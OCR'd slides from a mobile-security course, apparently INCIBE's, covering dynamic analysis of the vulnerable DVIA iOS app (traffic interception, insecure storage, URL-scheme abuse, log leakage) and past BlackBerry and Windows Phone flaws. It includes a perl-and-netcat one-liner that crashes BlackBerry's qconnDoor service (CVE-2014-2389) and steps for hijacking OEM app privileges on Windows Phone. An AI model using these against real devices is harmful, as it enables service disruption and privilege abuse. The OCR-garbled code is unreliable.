willSendRequestForAuthenticationChallenge

- According to the way that the code is implemented at the moment, if the
connection is made via SSL without certificate pinning, no verification is made and
the operative system denies the connection. In the TransportLayerProtectionvc

controller, go to the last method and add the following code at the end:

— {wvoid)econnection: (NSURLConnection *)connection willSendRequestForAuthenticationChallenge: (NSURLAuthenticatienChallenge =)

challenge

J/Don't check for valid certificate when the user taps on "Send ower HTTPs"
if(self.isS5LPinning){

self.isSSLPinning = NO;

SecTrustRef serverTrust = challenge.protectionSpace.serverTrust;
SecCertificateRef certificate = SecTrustGetCertificateAtIndex{serverTrust, @);

ofType:@"cer"]];

if {[remoteCertificateData isEqualToData:skabberCertDatal) {
[DamnVulnerableAppUtilities showAlertWithMessage:@"Reguest Sent using pinning, lookout !"];
NSURLCredential #credential = [NSURLCredential credentialForTrust:serverTrustl;
[[challenge sender] useCredential:credential forAuthenticationChallenge:challenge];

else {

[DamnVulnerableAppUtilities showAlertWithMessage:@"Certificate validation failed. You will have to do better than
this, my boy!!"];
[[-bollano condo -] =11 nlnuthm1lnn ﬂ‘“ 1lopoa].
}
}else{
[[challenge sender] perfermDefaultHandlingForAuthenticationChallenge:challengel;
+

L
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++4 Dynamic Analysis of an 10S Application

Verification of SSL Data Transmission

Solution

- Stop the application and restart it filling the form again and sending it via

SSL.

iPhone 6 - iPhone 6 /i0S 9.1 (13B137)
8:19 PM

Menu Transport Layer Protection

There are three ways to send data over the
network, use HTTP, use HTTPs, or use SSL/
Cert pinning to check a hardcoded certificate
against the certificate provided by the server
to prevent MITM attacks. Your task is to
intercept the information being sent over the
network when the "Send" button is tapped in
all the three cases.

Read an article on Transport Layer protection

1234567

Card holderi

- Data is captured.

Burp Intruder Repeater Window Help

Burp Suite Free Edition v1.6

Target | Proxy | Spider | Scanner | intruder | Repeater | Sequencer | Decader | comparer | Extender | options | Alerts

[ intercept | HTTP histery | webSockets history | Options |

‘ Filter: Hiding CSS. image and general binary content

# 4 Host

| Method | URL

| Params | Edited | Status | Length | MIME type | Ex
= = - T T T

o
691 hitp:/fwww.elmundo.es
706 hitp:/ipg-direct.revscl.net
711 hitps://api.parse.com

712 hitp:/festaticos03. elmundo
718 http:/fpubads.g. doubleclick
720 hittp:ffcomcluster.cxense.c
721 https:f/data flurny. cam

722 https:f/data flurry. com

723 hitp:/fwrap.tradedoubler.c
724 hitp:/factive.cache. el-mun,
725 hitp:/factive.cache. el-mun,
726 hitpsi//www.google.com
727 hitpsi//www.google.com

<

GET
GET
POST
GET
GET
POST
POST
POST
GET
GET
GET
POST
POST

urIsTgpy
/bolsajdatosvalor_ficha.html?ca
/pal?placementldList="LbLgY, T,
i2/find
fassetsiv2fimo/svaftelva-mod-bt-
fgampad/cookie.js?domain=www
JRepo/rep. html?ver=1&typ=pgwv.
faas.do

faas.do

Jwrap?id=12029
ffonts/roboto/RebotoCondensed-.
/fonts/roboto/RabotoCondensed-.
1

[

EEODEEEEEEEEE

o|e]s]a]ls]s]s]s]s]s]s]e]s)]

200
200
200
304
200
200
200
200
200
404
404
405
405

2329 JSON ht
413 script

8863

327 sv
360 script is
474 HTML ht
311 de
311 de
369 script

346 HTML sv
346 HTML sv
1816  HTML

1816  HTML

Request | Response

Raw ParamsTHeaders Hex

POST / HTTR/1.1
Host: www.google.com

Content-Type: application/x-www-form-urlencoded; charset=utf-g

Connection: keep-alive

Proxy-Connection: keep-alive

Accept: */#%

User-Agent: DamnVulnerableIOSApp/2.0 CFNetwork/758.1.6 Darwin/15.3.0

Accept-Language:
Accept-Encoding:
Content-Length: 24

en-us

"eard_cvv" "gg7",
"card_number" : "1234567",
"card_name" : "Card holder"

gzip, deflate

L 2
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_*0 Dynamic Analysis of an 10S Application

Verification of SSL Data Transmission

Solution

« Verify the connection via certificate pinning and check that the application
detects that the user is connecting to a server that does not provide a
legitimate certificate and does not allow the connection to it.

iPhone 6 /i0S 9.1 (13B137)

Certificate validation failed.
You will have to do better
than this, my boy!!

Ok
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_*0 Dynamic Analysis of an 1I0S Application

Data Storage

= During this task, findings discovered during the static analysis will be reviewed
and all the files created in execution time will be verified.

Task

Verify that issues identified during the static analysis (passwords file, files in
the external storage mechanism, etc.) are present during the execution of
the app.

Expected result
A list including the files created by the application and measures that each
of them have implemented to access the information existing in them.
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++4 Dynamic Analysis of an 10S Application

Data Storage

Solution

« In the static analysis it was verified that issues related to data storage were
focused on the InsecureDataStoragevVulnVC controller.

« The controller corresponds to the element of the menu aimed at storing data.

iPhone 6 - iPhone 6 /i0S 9.1 (138137) iPhone 6 - iPhone 6 /i0S 9.1 (138137)

Carrier ¥ 9:35 PM

Menu  Insecure Data Storage

Home er Insecure Data Storage is a vulnerability which
occurs when sensitive data is stored locally on
Learn iOS Application Security the device without proper protection.
acai

Insecure Data Storage
Jailbreak Detection Read an article on Local Data Storage
Extensions Vulnerabilities Plist

Runtime Manipulation NSUserDefaults

Sensitive Information in memory Keychain

Attacks on third party libraries Core Data

Piracy Detection Webkit Caching

Security Decisions via untrusted Realm
input

P R

Side Channel Data Leakage

siNncibe_
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++4 Dynamic Analysis of an 10S Application

Data Storage

Solution
 First, analyse storage in Plist files.

* Enter the user and password and click “Save in Plist file”.
The interface shows that data has been stored in the sandbox.

® iPhone 6 - iPhone 6 [0S 9.1 (13B137)
= 9:38 PM

@ iPhone 6 - iPhone 6 /i0S 9.1 (13B137)

¢ Back Insecure Data Storage

The input entered here is saved in a plist
file. Your task is to find where this value is
stored in the App sandbox.

Save in Plist file Data saved in Plist

Ok
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++4 Dynamic Analysis of an 10S Application

Data Storage

Solution

« The sandbox of each application on iOS is stored in the following
directory: /Containers/Data/Application/id aplicacién.

» Search the directory corresponding to the application in the computer’s
files system (the one modified more recently).

« Anplist file is stored inside.

Nama - P w e ten i
¥ || Documents
CoreData.sqlite =7xml version="1.8" encoding="UTF-8"7>
CoreData.sglite-shm <!DQCT‘(FE p'_L:.s't PUBLIC "-//Apple//DTD PLIST 1.@:
. =plist wversion="1.8"=>
CoreData.sqlite-wal adict=
userinfo.plist <key=password=/key=
) =string=contrasefa curso</string=
» [ Library =key=username</key=
¥ B tmp =string=usuario curso</string=
<fdict>
=/plist=

- Even though the file is protected in the sandbox, the jailbreak or access
via applications such as iFunBox would enable access to it, therefore, it
should be encrypted.
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++4 Dynamic Analysis of an 10S Application

Data Storage

Solution

* In the same directory, the corebata database is stored.

* Navigate the menu corresponding to the coreData Storage on the
simulator and fill data of the form.

iPhone 6 - iPhone 6 /08 9.1 (138137)

@ iPhone 6 - iPhone 6 /i0S 9.1 (13B137)

Vienu Insecure Data Storage

Insecure Data Storage is a vulnerability which
occurs when sensitive data is stored locally on
the device without proper protection.

Read an article on Local Data Storage

Plist Data saved in Core Data
NSUserDefaults
Ok
Keychain
Core Data

Webkit Caching

Realm

A~ v
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++4 Dynamic Analysis of an 10S Application

Data Storage

Solution

* The data model is stored in the CoreData.sqlite file of the directory
mentioned before.

* Open it with a sqglite editor, such as the one available in Santoku Linux or
the one available at http://sglitebrowser.org.

[ ] @ | | DB Browser for SQLite - /Users/guizos/Library/Developer/CoreSimulator/Devices/SA14CEEA
B New Database 2 ‘Open Database ‘Wr'ntc Changes . Revert Changes

Database Structure Edit Pragmas ~ Execute SQL 06

[Nan
Table: | |- ZUSER B & 4 New Record Delete Record

ZOPT  ZEMAIL ZNAME ZPASSWORD ZPHONE
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http://sqlitebrowser.org/

++4 Dynamic Analysis of an 10S Application

Data Storage

Solution

* Finally, store the information in the NSUserDefaults.
« The interface allows users to store a text string.

©  iPhone & - iPhone 6 /108 9.1 (138137)
10:00 PM

lenu  Insecure Data Storage

Insecure Data Storage is a vulnerability which
occurs when sensitive data is stored locally on
the device without proper protection.

Read an article on Local Data Storage

Plist
NSUserDefaults
Keychain

Core Data
Webkit Caching

Realm

e aa

| iPhone 6 iPhone 6 /i0S 8.1 (138137)

Data saved in
NSUserDefaults

v

Ok
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++4 Dynamic Analysis of an 10S Application

Data Storage

Solution

- NSUserDefaults are stored in the Library/Preferences folder of the sandbox with
the name of the application’s packet.

« If the content is inspected, it can be observed that it has been stored in the file
without encryption.

¥ |1 Library
¥ |1 Application Support
¥ || FlurryFiles
FlurrySenderindex.info
» [ Caches
VVEURALL UUE SO L L D SE LT .. auinyg JUSETS | QUIZOS] LIDTED Y| LEvVEIDPRET L OredirmuiE
~ ]
- COOKIE-S WebKitShrinksStandalonelmagesToFit Boolean YES
» [ FlurryFiles ] ; . . . - P
oogleanalytics-v2.sal WebDatabaseDirectory String {Users/guizos/Library/Developer/Coresimula
=l g - : DemaoValue String Texto a guardar en Defaults
googleanalytics-v2.5al-shm . -
_ GAlFirstinitTimeStamp Date 31 Jan 2016, 22:29:30
googleanalytics-v2.5ql-wal e . ; -~
_ WebKitOfflineWebApplicationCacheEn... Boglean YES
googleanalytics-v3.sal

googleanalytics-v3.sqgl-shm
googleanalytics-v3.sql-wal
¥ || Preferences

I com_highaltitudehacks.dvia.plist I
group.dvia.AppleWatch.shared plist
* Therefore, NsuserDefaults Should be used only to store non-sensitive
information.

sincibe__



_*0 Dynamic Analysis of an 1I0S Application

Vulnerable Components

= During the static analysis of the application, it was discovered that it was able to
receive dvia-based URL (eg.: dvia//contenido). In this activity it will be checked
whether there is a vulnerability in the handling of input via URLSs.

Task
Prove the existence of a vulnerability in the component for handling input

URLSs in the application. In order to perform this task, it is advisable to use
the pseudocode created by Hopper that was obtained during the dynamic

analysis.

Expected result
A proof of concept (dvia-based url) that activates the vulnerability.

sincibe__ 3



++4 Dynamic Analysis of an 10S Application

Vulnerable Components - URL Type Handling

Solution
« The pseudocode obtained from the open URL method is the following:

bool -[AppDelegate application:openURL:sourceApplication:annotation:](void * self, void * _
void % arg2, void * arg3, void % arg4, void % arg5) {
var_10 = self;
objc_storeStrong(@x@, arg2);
objc_storeStrong(@x@, arg3);
objc_storeStrong(0xe, argd);
objc_storeStrong(8x@, arg5);
var_40 = [[ex® absoluteString] retain];
if ([var_4@ range0fString:rdx] != @x7fffffffffffffff) {
| var_58 = [[var_1@ getParameters:0x@] retain];
1 rax = [var_58 objectForKey:@'phone"];
rax = [rax retainl;
var_8@ = rax;
[rax releasel;
if (var_8@ !'= #x@) {
var_98 = [UIAlertView alloc];
rax = [var_58 objectForKey:@"phone"l;
rax = [rax retain];
rcx = rax;
var_AR = rax;
rax = [NSString stringWithFormat:@'Cal®ing %@ without validation. Ring
Ring !, rexl;
| rax = [rax retainl;
rcx = rax;
var_B@ = rax;
rax = [var_98 initWithTitle:@"Success" message:rcx delegate:0x@
cancelButtonTitle:@"0K" otherButtonTitles:@x@];
var_B8 = rax;

* In number 1 it is verified whether the string has another substring, but the string
desired is not known.

* In number 2 it is verified that it tries to extract the “phone” parameter from the
URL.

- If everything works properly, a success message will be displayed.
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++4 Dynamic Analysis of an 10S Application

Vulnerable Components - URL Type Handling

Solution

« For the attack to be successful it is necessary to know the value of the
variable searched by the method in number 1 mentioned before.

- If the assembling code of the method is analyse, the following information
IS observed.:

rdi, rax ; argument "instance" for method imp_
imp__ stubs__objc_msgSend
rdi, rax H
imp__ stubs__objc_retainfAutoreleasedReturnVa
rcx, gword [ds:cfstring__call_number_]
gword [ss:rbp+var_48], rax

rax, gword [ss:rbp+var_4@]

thod imp_

rsi, gqword [ds:@x1@879c5a8] ; @selector(range0fString: ), argumeni
rdi, rax ; argument "instance" for method imp_
rdx, rcx

« Therefore, try to create a URL following the following structure in order to
check whether the attack is successful:
dvia://call number/algo?phone=123
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_¢+> Dynamic Analysis of an 10S Application

Dynamic Analysis of an iI0S Application

Solution

« To check whether the attack works, access Safari and write the URL
mentioned before.

« Safari asks if we want to open the URL in DVIA, accept it and the action
desired will be executed.

0 iPhone 6 - iPhone 6 [ i0S 8.1 (13B137)

Open this page in "DVIA"?

Calling 123 without validation. Ring
Ring !

Cancel Open

OK
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_*0 Dynamic Analysis of an 10S Application

Revision of the Application’s Logs

= In the static analysis of the application, it was discovered that a user name was
leaked through the logs.

Task

Check whether leakage to logs actually occurs during the execution of the
application.

Expected result
An evidence of the log including the sensitive information that has been
leaked through the logs.
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++4 Dynamic Analysis of an 10S Application

Solution

Dynamic Analysis of an I0S Application

In order to verify the leakage, navigate to the controller identified during the
static analysis, SideChannelDatalLeakageDetailsVC.

F|II |n the form and check how data are leaked to the log.

hane 6 /i0S 9.1 (138137)

ck Side Channel Data Leakage

Sometimes developers add logs while
debugging the application but forget to
remove them while publishing the
application.

The following input field signs up a user with
the entered information and saves it to the
server. However, the information about the
user is logged to the device. Your task is to
find the logged information about the user
on the device.

Nombre de usuario

correo@delusuario.com

91123456123

Sign Up

iPhone 6 - Ph 810891(139137)

Success

User signed up successfully, look for
the logs now

Ok

}
2016-02-81 22:39:16.693 DamnVulnerableIOSApp[15396:50848139]

Saved user info: =Person: 0x7TB8d99e72128, objectId: dyiDJtTegI,

localld: {nul'l] = {

enail = corrm@delnsuarm com”
name = "Noembre de usuario”
password = lu.:ontrnsa\ussua
phone = 91123456123;

4
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++4 Dynamic Analysis of an 10S Application

Conclusions

= The dynamic analysis of the application has provided the following conclusions:

The application does not validate properly the entrance via dvia-based URL and
makes a fictitious calls service available.

The application store sensitive information in the data model, plist files and the

NSUserDefautls. None of such files is encrypted with cryptographic libraries existing
on iOS.

It is possible to conduct capture and man-in-the-middle attacks (if the user is able to
install a root certificate in the device) on two of the connections made by the
application. One of the connections implements certificate pinning, therefore, it is not
manipulable from a proxy server (unless the user has a jailbroken device).

Data related to fictitious user accounts is leaked through the system’s logs.
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++4 Dynamic Analysis of an 10S Application

Automatic Tools

Given the protections that iOS applications implement, the only viable solutions
for the automatic scanning of applications require jailbroken devices.

Snoop-it is a tool for the automatic analysis of IOS applications by NESO
Security labs.

It shows some of the possible vulnerabilities that may affect the application by
using a web interface created by the application itself.

In order to install iNalyzer, it is only necessary to add the http://appsec-
labs.com/cydia repository to the Cydia’s repository, following the same
instructions used to install older repositories.

Once the repository is loaded, search Snoop-it and install it. After the installation,
the system will restart.

Find an example of the execution without taking into consideration the details of
the result in the following slides.
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++4 Dynamic Analysis of an 10S Application

Automatic Tools

= First, open the application and select the applications to analyse.

Cédigo PIN =

-

Extras . Notas'de voz FaceTime

Quiosco

88
. OERe

Emoji Xpress RMASLR GUI

Twitter .~ WhatsApp

O o=

Teléfono [V ELl

[ |
Applications
Apps to Analyze:

Twitter

Select System/Cydia Apps

Select App Store Apps

e —

v 2

Applications Settings

< Applications App Store Apps

Q, Search

Calculator #
com.incpt.mobis.CalculatorSharp

Emoji Xpress
com.emoji.freemium

Salary Calc

UKTax

The Calculator
com.itwcalculator.calculatorforipadfree

Twitter
com.atebits. Tweetie2

WhatsApp

net.whatsapp.WhatsApp
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++4 Dynamic Analysis of an 10S Application

Automatic Tools

= Then, review the preferences to know the web address of the server to connect.

Applications

Apps to Analyze:

Twitter

Select System/Cydia Apps

Select App Store Apps

v .54

Applications Settings

|
Settings
Web Interface
Open at:
http://iPhone.local: 12345/
http://192.168.0.3:12345/
Port 12345

Authentication o

Username  snoop-it

Password  snoop-it J
v &
Applications Settings
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++4 Dynamic Analysis of an 10S Application

Automatic Tools

= Leave snoop-it on the device and open the application to analyse.
= Write Snoop-it's address on the browser (use credentials defined in Snoop-it’'s
options).

= snoop-t Tuiter u | connection Stats: @

= |tis possible to analyse all the elements provided by the web interface.

343
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_*0 Dynamic Analysis of an 10S Application

Additional Task

= You can go in depth on dynamic analysis techniques by executing the same

dynamic analysis tasks on the vulnerable applications mentioned during the
static analysis.

= You can also perform dynamic analysis tasks with the Snoop-it application or
other analysis tools that require jailbreak.

= Due to time constraints, it was impossible to review all the vulnerabilities the
InsecureBank includes, we encourage you to complete the dynamic and static
analysis to find new vulnerabilities that have not been reviewed during this
laboratory.
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¢4 Research Exercise

Introduction

In this exercise the student should
conduct a research and write the
results obtained on the subject’s
forum, in order to discuss them with
the rest of students.

Four possible exercise are suggested:
Analysis tools.

Security analysis of vulnerable
applications.

Detection of ransomware through
the static and dynamic analysis.

Countermeasures against
ransomware on operative systems.

In the following slides you can find
more detailed information on each
exercise.
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¢4 Research Exercise

Analysis Tools

= Multiple tools for the analysis of mobile applications have been reviewed during
this unit.

= Tools studied cover different environments:
Dynamic and static analysis.
Automatic and manual analysis.
Disassemblers and debuggers.
Etc.
= The objective of the exercise is to conduct a search in order to identify an
analysis tool the has not been reviewed during the curse and describe:
The type of analysis that it provides.
Differences compared to the one reviewed in the unit.
Requirements of the use environment (jailbreak, rooting, operative system, etc.).
Configuration process and a testing execution.
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¢4 Research Exercise

Other Vulnerable Applications

= The different analysis tasks of the unit are restricted by the time constraints of
the course.

= There are further applications and vulnerabilities that have not been reviewed in
depth, but they were studied in the first unit of the course.

= The objective of the exercise is to use the tools studied to complete the security
analysis conducted during the unit in one of the following ways:

Analysing vulnerabilities that have not been reviewed during the laboratories.
Analysing one of the vulnerable applications suggested at the end of each exercise.

= The analysis conducted should follow the same structure as the ones conducted
during the laboratories of the unit.
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¢4 Research Exercise

Ransomware Detection

= In this task you should imagine that you are conducting the analysis of a
suspicious evidence belonging to a ransomware campaign.

A ransomware is a type of malware that encrypts the content of a device and demands
a ransom in order to decrypt the information.

= The objective of the exercise is to create a report including a description of the
analysis process that you will conduct in order to analyse a malicious application.
The following information should be specified:

The details of the ransomware application, including the operative system, the
encryption procedure and the way of demanding the ransom.

The environment in which you will conduct the analysis:

o Remember that, since it is a malware, you cannot use an environment that includes in-
production applications or real data.

The static and dynamic analysis tasks to perform in order to verify that operations
performed by the application are harmful.
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¢4 Research Exercise

Countermeasures for Ransomware

= In this task you should propose a set of policies for the devices of an
organization in order to avoid infections via ransomware.

= As a part of the exercise, the following information should be specified:

Types of applications that may mitigate the consequences of a device being infected
by a piece of ransomware.

Security mechanisms available in mobile operative systems that may protect devices
against an infection of this kind. How could one reinforce the most important
mechanisms used in order to avoid infections due to unawareness or reverse
engineering attacks?

Currently unavailable additional mechanisms that may mitigate this threat. You should
specify how such mechanisms may affect the productivity of employees of the
organisation.
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_¢+<> Attacks on BlackBerry and Windows Phone

Introduction

= |OS and Android are not the only operative system that may experience security
problems.

= BlackBerry or Windows Phone’s market share make them operative systems
with little representation among the total of devices existing.

= |t does not imply that they are free from vulnerabilities or security problems.

= |n this section specific problems that affected various operative systems versions
of mobile devices of such organisations will be reviewed. In addition, the impact
that such problems could have on devices will also be studied.
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++$ BlackBerry

Introduction

The vulnerability to review in this section was reported on 12/04/2014.

The attack takes advantage of a vulnerability of a network service that was
designed for developers.

Specifically, it is a buffer-overflow vulnerability.

The code assigned to the vulnerability corresponds to CVE-2014-2389 and,
according to the Common Vulnerability Scoring System (CVSS) scale, it has a
9.3 value due to the following reasons:

It is exploitable through the network.
It does not require authentication.
It allows users to access information, modify variables and deny services.
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++$ BlackBerry

Requirements for the Attack

The vulnerability affects, at least, Blackberry Z10 devices with the 10.1.0.2354
software.

For the device to be affected, it has to be configured in developer mode, at least,
once.

When activating the developer mode, computers affected initiate an SSH service
called gconnDoor, accessible from the outside of the device.

Even though the developer mode has been deactivated, the network service still
works and thus, it is accepting incoming connections.

Though the service requires authentication, the vulnerability can be executed
without having been authenticated since it takes advantage of an error in the
decryption process of the commands received.
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++$ BlackBerry

Detalls

The discoverers of the vulnerability conducted a static analysis of the code
compiled from the service available on the emulator and image of the operative
system.

The gconnDoor protocol includes messages of an encryption protocol such as
challenge request, encrypted challenge response and keepalive among others.

The main problem of messages defined in the protocol lies in the fact that all the
packets include a great amount of variables that specify the length of different
variable fields.

Send ssh key packet format

Packet size J Version | Command | Encryption size l Decryption size L v L Encrypted data l

16 bit 16 bit 16 bit 16 bit 16 bit 16 bytes Variable

The modification of such values may create inconsistency situations and create
buffer overflows. The problem becomes more important because gcoonDoor IS

executed as a root. o
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++$ BlackBerry

Detalls

The modification of such values is located in the recv exact and decrypt
function (so called after the researches that discovered the vulnerability, since
executable files did not include symbols to draw the names of methods and
variables).

This function receives a data buffer to decrypt and the buffer size as a parameter.
Buffers size is used to create a destination buffer in which data is copied. After
such memory reserved to the buffer, other variables internal to the function are
stored.

The problem lies in the fact that, during the shutdown condition for the copy of
buffer, it uses the buffer size instead of the variable received with the size. Thus,
iIf the size of the buffer is greater than the one of the variable, the internal
variables existing in the code will be overwritten. This will cause a buffer
overflow.

Find a graphic description of the attack in the following slide.
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++$ BlackBerry

Detalls

Encrypted
data size

Area for
overwritten
memory

Memory

Encrypted data
size

Area
reserved for
the buffer

Internal variables

Parameters

Encrypted
data

Encrypted data
size
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++$ BlackBerry

Execution of the Problem

= In order to execute the problem it is only necessary to use the following
commands from a console to a device o emulator with the vulnerable version of
the operative system (10.1.0.2354) and de developer mode activated.

= First, check the availability of the service:
> nc -v 1p dispositivo 4455

Connection to ip dispositivo 4455 port [tcp/*] succeeded!

= Try to connect to the Blackberry-connect service (it will fail since the password is
not available):

> /opt/bbndk/host/linux/x86/usr/bin/blackberry-connect ip dispositivo -
password "any' -sshPublicKey id rsa.pub

Info: Connecting to target ip dispositivo:4455

Info: Authenticatingwith target ip dispositivo:4455
Info: Encryption parameters verified

Info: Authenticatingwith target credentials.

Error: Connection refused: The device password you provided is incorrect.
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++$ BlackBerry

Execution of the Problem

= Send the modified packet:

> perl -e 'print
"\x00\x2a\x00\x02\x00\x07\x12\
x00\x0c\x00"™ . “\x41" x 0xc00'

| nc 1p dispositivo 4455
= Verify that the service is not working
anymore.
> nc -v 1p dispositivo 4455

nc: connect to 1p dispositivo
port 4455 (tcp) failed:
Connection refused

N
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++$ BlackBerry

Conclusions

= Though the problem on its current state does not allow the execution of arbitrary

code, it has allowed the user to write an internal variable and it causes a denial
of service in gconnDoor.

= The inclusion of multiple parameters to handle the length of variable fields is a
source of failures and possible vulnerabilities.

= Network services exposed to the outside are critical.

= Furthermore, if services are executed as administrator, it may imply a direct
privilege escalation that is made remotely to administrator.
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. ++S \Windows Phone

Introduction

= The vulnerability reviewed in this sections was reported in November 2014 on a
developers forum.

= The attack takes advantage of a problem in the verification of the identity of
manufacturer’s applications that have been moved to the SD card of the device.

= The attack affects OEM applications. Such applications are added by the device
manufacturer (Nokia, HTC, etc.) to the image of the operative system.

= On Windows Phone, applications of the operative system and OWM has a set of
specific privileges that cannot be accessed by third parties’ applications.

= This way, it is possible to execute any application, including one developed by
the user, using the privileges of the forged application.
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++S \Windows Phone

Procedure to Conduct the Attack

= A Windows Phone with SD card is required to conduct the attack:

The amount of manufacturers that add SD cards to Windows Phone devices is limited
and many manufacturers, such as Nokia or HTC do not include the SD slot.

= Steps to follow in order to conduct the attack are described bellow:
On the system’s settings, navigate to “storage” and select “apps and games”.

Select an OEM application (developed by the manufacturer) and move it to the SD
card of the device.

Move to SD card?

The selected apps, as well as data and supporting files
for the apps, will be moved from phone storage to the
SD card. Are you sure you want to move them?

I yes | | no |
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++S \Windows Phone

Procedure to Conduct the Attack

= Access the content of the SD card through a file browser.

= Open the folder that contains the application that has just been moved to the SD
card.

= Remove the content of the folder, including temporary files.

= Locate the folder that contains the application to be installed with new privileges.

Ideally, the application would have been created with the purpose of taking advantage
of the privileges that it is going to obtain.

= Copy the content of the folder to the folder that contained the OEM application.

= Execute the SD card on the system again and execute the OEM application.
The application created by the user will be loaded.
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++S \Windows Phone

Restrictions

= The attack described in this section allows any application tu obtain further
privileges apart from the ones that it has access to by default.

= However, applications can only obtain privileges from OEM applications
(included in the operative system by the device manufacturer).

= In most devices, permissions given to OEM applications are grater than the ones
belonging to third parties. However, it does not affect the structure of the kernel,
therefore, they cannot be used to root the phone.

= |n addition, the attack can only be performed in phone models that include an SD
slot.

= Therefore, we can conclude, though the attack does actually exist, has a series
of practical restrictions that reduce its criticality.
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Thank you for your attention
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